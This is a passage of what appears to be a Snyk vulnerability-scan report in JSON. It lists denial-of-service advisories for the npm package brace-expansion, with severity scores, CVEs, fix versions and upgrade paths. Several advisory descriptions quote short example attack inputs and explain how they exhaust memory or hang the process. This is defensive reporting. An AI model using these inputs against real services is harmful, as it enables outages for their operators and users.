"npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 